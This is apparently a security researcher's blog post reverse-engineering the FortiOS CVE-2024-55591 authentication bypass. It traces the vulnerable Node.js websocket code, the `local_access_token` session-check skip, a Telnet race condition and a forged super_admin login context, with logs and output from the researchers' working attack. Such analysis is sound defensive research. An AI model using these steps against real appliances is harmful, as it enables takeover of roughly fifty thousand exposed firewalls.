# Get FortiRekt, I am the Super_Admin Now – FortiOS Authentication Bypass CVE-2024-55591
Welcome to Monday, and what an excitingly fresh start to the week we’re all having. Grab your coffee, grab your vodka – we’re diving into a currently exploited-in-the-0wild critical Authentication Bypass affecting foRtinet’s (we are returning the misspelling gesture 🥰) flagship SSLVPN appliance, the FortiGate.
> Imagin eplease that we inserted a meme here about the typical function of a gate and how it seems that word now means something different
As we’re sure others have been; we’ve been aware of rumours for many weeks+ now circulating a critical zero-day vulnerability affecting FortiOS products, with Fortinet privately informing its customer base before publication/patches were released about the severity of the situation.
As always though, because secrecy is what this industry thrives on, details emerged from Arctic Wolf’s article _before Fortinet had a chance to throw together an advisory where they find someone to blame for product security issues_, which explains parts of the campaign, including pre to post-exploitation activities and IoC’s.
Despite the insight gained from Arctic Wolf’s work, little was shared in terms of the actual vulnerability. This could’ve been for a few reasons, including that Arctic Wolf didn’t have details of the vulnerability. We don’t know, we’re not here to speculate.
Regardless, all we could gleen was that the vulnerability resided within the `jsconsole` functionality, which is a GUI feature to execute CLI commands inside FortiOS’s management interface.
Specifically, the weakness in this functionality allowed attackers to add a new administrative account. This sounded curious to us mere mortals, because typically subsequent to an auth bypass you have all the privileges you would need and thus our eyebrows raised when reading the IoC list.
For those who have been spared a deep dive of SSLVPNs previously, and are wondering “what the heck is `jsconsole`” (you lucky people), here’s what the `jsconsole` looks like:
As you can see, it’s a WebSocket-based, web console to the appliances’ CLI.
This CLI is all-powerful, since it is effectively the same as the actual provided CLI that is used by legitimate administrators to configure the device. Without asking the audience to suck eggs, it is hopefully fairly obvious that if an attacker gains access to this Internet, the appliance itself should be considered compromised.
Fortinet managed to publish their advisory for CVE-2024-55519, containing a little more information:
> An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS and FortiProxy may allow a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.
>
> Please note that reports show this is being exploited in the wild.
Now we have something to work with – an idea of which component is affected, and the range of affected versions.
From here, we can fetch ‘patched’ and ‘vulnerable’ versions, patchdiff, and it should be easy, right?
(spoiler: it’s not)
### The file system
As you may recall from previous FortiGate adventures, a decrypted FortiGate’s `rootfs.gz` looks pretty much like this:
“`
bin.tar.xz boot data data2 dev etc fortidev init lib migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz var
“`
It doesn’t take an inspired researcher to see this quick list of files and think, ‘huh, `node-scripts.tar.xz`, is it possible that this is related to the “Node.js websocket module” mentioned within the advisory?’.
Atleast, that’s what we thought, and so we used the `/sbin/xz` binary to extract a small collection of node-related files:
“`
/ssl-vpn /ssl-vpn/provision-user /ssl-vpn/provision-user/qr_codes /index.js /f85a0baf050df19d250a479301fcbc0f.node /logs /report-runner /report-runner/lang /report-runner/sfas /9f7fd545476a9e07af2abe8a61bcdb01.node
“`
The job so far (minus the character-building journey we went on with regards to file-system encryption) is beginning to sound fairly straightforward – but no, that would be wrong.
We’re quick to realize at this point that the core code for the Node.js component resides with `index.js`, which comes in at a whopping _53,642_ lines of JavaScript code—yuck.
While it’s nice to have source code, we want to move quickly and don’t have time to play ‘cosplay-as-a-sast-tool’ to figure out what’s going on. At the same time, our other advanced techniques like grepping for the word “websocket” within the script yielded hundreds of results – helpful?
Well, we decided to play pentester for a bit, and poke around the FortiGate UI with our favourite web proxy looking for WebSocket requests and getting a better feel for how routing was set up.
Loading up `jsconsole` and just browsing through the system – we soon observed WebSocket connections to `/ws/events` and `/ws/cli/open`:
If we re-read the original article, which details the actions the threat actors carried out, there are references to this CLI being used in-the-wild during the attack – and combined with the advisory discussing Node and WebSockets – it looks like we’re honing in on the buggy code.
Using appliance logs and other sources of intuition, we can use the strings we observed in our WebSocket traffic to find the correct part of that huge Node source file we pulled off the appliance earlier.
This time, we can find references to how WebSockets are routed within the `dispatch()` function.
We’ve dropped right into the logic that handles authentication. Let’s give it a close look.
Here, we can see a tantalising comment – ‘Convert admin session into CLI login context’.
This is converting a session in the appliance’s web UI into a session that is used by the console itself – ie, the `jsconsole` CLI. What’re the odds that, somehow, this conversion is mismanaged, and it’s possible to obtain a session from nothing?
If you recall, this CLI is the ‘management crown jewels’ as far as management of the appliance goes, and thus getting a real session with the ability to execute privileged commands seems like a logical, and ideal outcome.
### Deep dive into authentication flow
Looking at the code above, though, before our session is ‘converted’, there’s a pesky `this._getSession();` call.
This function, as you’d expect, ensures that the user is logged into a valid session on the appliance and isn’t just some naughty hacker trying their luck.
Let’s take a close look at it:
“`
async _getSession() { const isConnectionFromCsf = this.request.headers[‘user-agent’] === CSF_USER_AGENT && this.localIpAddress === ‘127.0.0.1’; let isCsfAdmin = false; let session; if (!isConnectionFromCsf) { // Get admin session the traditional way. session = await webAuth.getValidatedSession(this.request, {authFor: ‘websocket’, groupContext: this.groupContext}); […Snipped…] } } else { […Snipped…] return {session, isCsfAdmin}; }
“`
> We have to give a warning at this point before we proceed; as seen above and in the next couple of code blocks, there are all sorts of references to hardcoded headers and unique values that can be used. All of which… are red herrings. We spent a lot of time here – that (and story for another time..) we believe was not wasted – but isn’t relevant for CVE-2024-55519 today.
Right at the top of the function, there’s an all-important variable, `isConnectionFromCsf`, which dictates the flow of the authentication.
Since we aren’t connecting from `127.0.0.1`, `isConnectionFromCsf` gets set to false, and the first part of the `if` stanza is evaluated.
This calls the function `getValidatedSession`, and the journey continues.
Going further, we can see there are a few different ways of authenticating – API tokens, auth bearers, and other flows that you’d expect.
Before our eyes completely bled try from reading server-side JavaScript, we painstakingly scrutinized each one looking for weaknesses that may be the hint we’re looking for.
Unfortunately, all seemed to validate user input correctly.
“`
async getValidatedSession(request, options = {}) { const { authFor } = options; const authToken = await this._extractToken(request); let session = null; […Snipped…] if (!session) { // Try and retrieve session from REST API session = await this._getAdminSession(request, […Truncated…]
“`
So, what happens if all attempts to authenticate fail?
We end up in that `if (!session)` logic, which then calls `this._getAdminSession()`, as a last-ditch attempt to get a session.
If `this._getAdminSession` returns a valid session object, then authentication is considered successful, and the request is allowed to proceed – meaning the user can get to that all-important CLI.
Perhaps there’s a way to trick `this._getAdminSession`? Let’s take a closer look at its innards.
“`
async _getAdminSession(request, options = {}) { const { headers, url } = request; const query = querystring.parse(url.replace(/.*\?/, ”)); const localToken = query.local_access_token; const cookie = headers[‘:cookie’] || headers.cookie; const apiKey = !cookie ? await this._extractToken(request) : null; const authParams = [‘monitor’, ‘web-ui’, ‘node-auth’]; const remoteIpAddress = request.socket.remoteAddress.replace(/^::ffff:/, ”); let authParamsFound = false; let isFgfmReq = false; […Snipped…] if (isFgfmReq) { this._logger.info(‘FGFM request detected.’, {groupContext: options.groupContext}); authParams.push(this._createFgfmFetchOptions(request)); authParamsFound = true; } else if (cookie || apiKey) { if (apiKey) { authParams[authParams.length – 1] += `?${SYMBOLS.API_KEY_PARAM}=${apiKey}`; } authParams.push(this._createFetchOptions(request, options.vdom)); authParamsFound = true; } else if (localToken) { authParams[authParams.length – 1] += `?local_access_token=${localToken}`; authParamsFound = true; } if (!authParamsFound) { this._logger.warn(‘No authorization headers found. Authentication failed.’, {groupContext: options.groupContext}); return null; } try { this._logger.warn(‘Sending authentication request to REST API.’, {groupContext: options.groupContext}); return await new ApiFetch(…authParams);
“`
Things are getting even more interesting here.
Can you spot the bug? Remember that our goal is to continue down the function call and return some valid data to instantiate the `session` variable.
Halfway through this function, just before `!authParamsFound`, which returns us `null`, is an interesting `else if (localToken)` that sets `authParamsFound` to true. There is no value check; it is just a check to see if some kind of value if present.
This is the one we mean:
“`
else if (localToken) { authParams[authParams.length – 1] += `?local_access_token=${localToken}`; authParamsFound = true; }
“`
Some searching reveals to us that `localToken` is actually created way earlier, plucked from the URL querystring parameter `local_access_token`.
This is one of the rare instances in the code where we can control the variable and proceed into the `try/catch` block at the end of the function, ultimately reaching `ApiFetch()`.
“`
try { this._logger.warn(‘Sending authentication request to REST API.’, {groupContext: options.groupContext}); return await new ApiFetch(…authParams); } catch (e) { this._logger.warn(`Failed to authenticate user (${e}).`, {groupContext: options.groupContext}); return null; }
“`
# A quick recap
Before we move on, there is a lot of (interesting) code here, but in reality, there are actually only a few relevant points. Let’s walk through it.
Firstly, we’ve found that if we set the mysterious `local_access_token` query string parameter when logging in, the authentication flow via `ApiFetch()` will perform an HTTP call to the localhost interface of the appliance in order to find out if we have a valid session.
We can actually verify this using the debug commands on the appliance itself, by enabling all debug messages for the ‘node’ application which are sent to the console:
“`
diagnose debug enable diagnose debug application node -1
“`
If we attempt to access the `/ws/cli/` endpoint to get access to the CLI, but have no valid session, we see the following on the console indicating that authorization was not successful:
“`
[node Web Authentication – 1737868423 warn] – No authorization headers found. Authentication failed. [node WebSocket – 1737868423 error] – Authorization failed. Closing websocket.
“`
However, if we add the `local_access_token` query string parameter, we can see different log entries generated:
“`
[node Web Authentication – 1737868440 warn] – Sending authentication request to REST API. [node CLI WebSocket – 1737868440 info] – CLI websocket initialized. [node CLI WebSocket – 1737868440 info] – CLI connection established.
“`
The ‘REST API’ referenced is the `ApiFetch` connecting on the localhost interface.
Okay, still with us? We’re heading back into the code!
### ApiFetch’s payload
So, we’ve followed the trail all the way to `ApiFetch`, which hits the localhost-bound API.
If we do some sleuthing, we find that `ApiFetch` is intended to return a JSON object, containing the role and permissions of the authenticated user.
“`
{ “http_method”:”GET”, “results”:{ “admin_name”:”admin”, “login_name”:”admin”, “login_vdom”:”root”, “profile”:{ “name”:”super_admin”, “q_origin_key”:”super_admin”, “scope”:”global”, “comments”:””, “secfabgrp”:”read-write”, “ftviewgrp”:”read-write”, “authgrp”:”read-write”, “sysgrp”:”read-write”, “netgrp”:”read-write”, “loggrp”:”read-write”, “fwgrp”:”read-write”, “vpngrp”:”read-write”, “utmgrp”:”read-write”, “wanoptgrp”:”read-write”, “wifi”:”read-write”, “netgrp-permission”:{ […Truncated…] }
“`
Returning to the original code for `dispatch()` it is now evident that we’re eventually instantiating the class `CliConnection()` which is quite big but we’ll snip the dull parts and summarise it.
Once again, heed our warning for CVE-2024-55519, there’s a lot of misdirection in the form of suspicious code and unobvious avenues present:
“`
class CliConnection { constructor(ws, request, options, groupContext) { const args = [ `”${request.headers[‘x-auth-login-name’]}”`, `”${request.headers[‘x-auth-admin-name’]}”`, `”${request.headers[‘x-auth-vdom’]}”`, `”${request.headers[‘x-auth-profile’]}”`, `”${request.headers[‘x-auth-admin-vdoms’]}”`, `”${request.headers[‘x-auth-sso’] || SYMBOLS.SSO_LOGIN_TYPE_NONE_STR}”`, request.headers[‘x-forwarded-client’], request.headers[‘x-forwarded-local’] ]; const csfAuth = request.headers[‘x-auth-csf’]; this.ws = ws; this.options = options; this.groupContext = groupContext; this.logInfo(‘CLI websocket initialized.’); const cli = this.cli = connect({ port: 8023, host: ‘127.0.0.1’, localAddress: ‘127.0.0.2’ }); this.logInfo(‘CLI connection established.’); this.expectedGreetings = /Connected\./; this.loginContext = args.join(‘ ‘); […Snipped…] ws.on(‘message’, msg => cli.write(msg)); cli.setNoDelay().on(‘data’, data => this.processData(data)); […Snipped…] if (data) { const ws = this.ws; if (this.expectedGreetings) { // hold login until server greeting if (data.toString().match(this.expectedGreetings)) { this.logInfo(‘Parsed expected greeting’); this.expectedGreetings = null; // don’t echo login context this.telnetCommand(CMD.DONT, OPT.ECHO); this.logInfo(‘Sending login context’); // send login context cli.write(`${this.loginContext}\n`); this.setup(); } return; } ws.send(data); } […Truncated…]
“`
Before explaining the code, let’s be clear: none of the values passed to this class are controllable. It may look like they are, but they aren’t 😀.
So, let’s summarise this code in the context of a real user:
1. A user clicks the CLI button in the GUI of the management interface
2. This class `CliConnection` is instantiated
3. A WebSocket connection is established between the user’s browser and the Node.js server ( `this.ws = ws`)
4. A Telnet connection is established between the server and localhost port 8023 ( `this.cli = connect(..`)
5. This Telnet connection is proxied through the WebSocket `ws.send(data);`
If we look at the logs of our connection during a successful authentication, we can see this output detailing the sequence:
“`
[node Web Authentication – 1737869130 warn] – Sending authentication request to REST API. [node CLI WebSocket – 1737869130 info] – CLI websocket initialized. [node CLI WebSocket – 1737869130 info] – CLI connection established. [node CLI WebSocket – 1737869130 info] – Sending resize command (cols=162, rows=37) [node CLI WebSocket – 1737869130 info] – Parsed expected greeting [node CLI WebSocket – 1737869130 info] – Sending login context [node CLI WebSocket – 1737869130 info] – Sending VDOM commands [node CLI WebSocket – 1737869130 info] – Connection terminated by CLI.
“`
When creating a WebSocket upgrade request, several sequential events occur:
1. Making the Telnet connection,
2. Resizing its window,
3. Sending “a login context”, and, then,
4. Sending default commands.
At this point, we thought we were already creating a successful connection without supplying any authentication material and that the exploit was completed. Unfortunately, though, looking through the logs, we found that a successful connection wasn’t established, and we’re unable to receive data from the server.
What’s going wrong?
Well, before the server sends the `this.loginContext` variable value. it waits for a signal from the CLI process over Telnet in the form of a message defined in `this.expectedGreetings`; which is equal to “ `Connected.`”.
It then proceeds with the normal sequence of Telnet commands –
1. Resizing the “window”,
2. Sending some default commands, and
3. Finally, accepting input from the admin.
During this initial period, however – when the server is waiting for `Connected.` – the function to send and receive messages over WebSocket from the client browser to the CLI Process over Telnet has _already_ been established:
“`
ws.on(‘message’, msg => cli.write(msg)); cli.setNoDelay().on(‘data’, data => this.processData(data));
“`
Is this the vulnerability in the form of a race condition?
It looks like we’re able to send data over the WebSocket to the CLI process, _before_ the server processes it’s initialisation sequence.
More importantly, we’re interested in this line:
“`
cli.write(`${this.loginContext}\n`);
“`
At this point, you might wonder what `loginContext` is and if it can be imitated to authenticate the Telnet session to the CLI Process.
While we could do lots of work to follow the code in the Node.js to work out how it works, or get an active shell on the appliance to debug, we’re lazy – so we instead opted to edit this line in memory to dump its contents to the CLI log.
To do this, we changed the line to:
“`
this.logInfo(`${this.loginContext}\n`);
“`
Subsequently, looking back at the logs as we walk through the process again, the value of `this.loginContext` from our upgraded request shows the following:
“`
“Local_Process_Access” “Local_Process_Access” “root” “” “” “none” [192.168.1.179]:54145 [192.168.142.132]:80
“`
Throwing together some Python, we wrote a quick/dirty script to create a WebSocket upgrade request and then instantly send this message to authenticate to see if we could trigger unexpected behaviour in this race, but we were met with a new error we hadn’t seen before:
“`
Upgrade response: HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: qJ180PUWh8TuhgsJK6MyZg9WvkM= Decoded: b’Bad args to CLI process.\r\n’
“`
This “Bad args” error message is nowhere to be found within the Node.js application but is, in fact, a part of the monolithic `/bin/init` binary via `sub_200F000`:
“`
if ( (unsigned int)sub_200E100( v17, (_DWORD)a2, (unsigned int)&v54, (unsigned int)&v53, (unsigned int)&v58, (unsigned int)v63, (__int64)v64, (__int64)v65, (__int64)&v55) ) { fwrite(“Bad args to CLI process.\n”, 1uLL, 0x19uLL, stderr); exit(1); }
“`
We’re getting somewhere!
The evidence is strong; we’re interacting with the CLI Process through the Telnet Connection, but our values are incorrect.
Now, we need to see what a real connection looks like.
By logging in natively through the browser as the default user `admin`, the output from this `logincontext` is :
“`
“admin” “admin” “root” “super_admin” “root” “none” [192.168.1.179]:53893 [192.168.142.132]:80
“`
Ah yes, these values look full of entropy.
If you look closely, you can find the answers to questions like:
– Where is the password?
– Where is some kind of token?
Quickly adapting this into our Python script and brute forcing connections with our attempt to race condition, we’re able to successfully establish a WebSocket which authenticated to the CLI Process through Telnet:
“`
Output from server: �m”watchTowr” “admin” “watchTowr” “super_admin” “watchTowr” “watchTowr” [13.37.13.37]:1337 [13.37.13.37]:1337 Output from server: � None Output from server: �~FAKESERIAL # “Local_Process_Access” “Local_Process_Access” “root” “” “” “none” [192.168.1.1]:55493 [172.31.29.138]:443 Unknown action 0 FAKESERIAL #
“`
We’re authenticated!
We can even see the echo from the follow-up command sent by Node.js as it tries to authenticate using the `Local_Process_Access` `loginContext`.
By adjusting our script, we can send our own follow-up commands such as `get system info`.
“`
Output from server: �m”watchTowr” “admin” “watchTowr” “super_admin” “watchTowr” “watchTowr” [13.37.13.37]:1337 [13.37.13.37]:1337 Output from server: � get system status Output from server: �~FAKESERIAL # “Local_Process_Access” “Local_Process_Access” “root” “” “” “none” [192.168.1.1]:55680 [172.31.29.138]:443 Unknown action 0 FAKESERIAL # FAKESERIAL # get system status Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M) Security Level: High Firmware Signature: certified Virus-DB: 1.00000(2018-04-09 18:07) Extended DB: 1.00000(2018-04-09 18:07) […Truncated…]
“`
Boom, just like that, CVE-2024-55591 is replicated, and what a doozy it is—a couple of bugs all rolled into one.
This bug matches up with the IoCs released by Arcticwolf and Fortinet.
Our advice to anyone running the affected versions is to patch immediately, and please follow the advice in Fortinet’s PSIRT https://www.fortiguard.com/psirt/FG-IR-24-535.
# PoC and Conclusion
This has been a grinding journey for us, with twists, turns and misdirections all over the place, slowing our progress, but the fruit is there.
This vulnerability isn’t “just” a simple Authentication Bypass but a chain of issues combined into one critical vulnerability. To summarise this vulnerability in a digestible format, four important things are happening:
1. A WebSocket connection can be created from a pre-authenticated HTTP request.
2. A special parameter `local_access_token` can be used to skip session checks.
3. A race condition in the WebSocket → Telnet CLI allows us to send authentication before the server does.
4. The authentication which is raced by us contains no unique key, password or identifier to establish a user. We can just pick an choose our access profile (super_admin it is!).
While reversing this, we identified several other issues, which we’ve reported to Fortinet.
> Don’t worry—they appear to be patched (not clear if purposeful or inadvertent), although we’re unsure which CVEs they’re attributed to since Fortinet has yet to respond to our emails.
> In fairness – it’s most likely they’re extremely busy. In January, we observed several other issues patched in this advisory grouping, so it’s no surprise there’s more beneath the surface—especially in a monolithic Node.js application handling such critical functionality.
We recently released a detection script to identify vulnerable instances, as our “we promise we’re nice people” gesture.
Industry leaders have adopted this mechanism to assess the prevalence of the vulnerability, with our friends at Shadowserver reporting nearly 50,000 vulnerable instances across the Internet, we once again urge all those utilising the affected versions to act quickly and patch!
Although the detection script merely detected the ability to create WebSockets at random URI, which aligns with pre and post-patches, we did notice those that doubted the efficacy of
So, put those to rest we’re releasing our Detection Artifact Generator: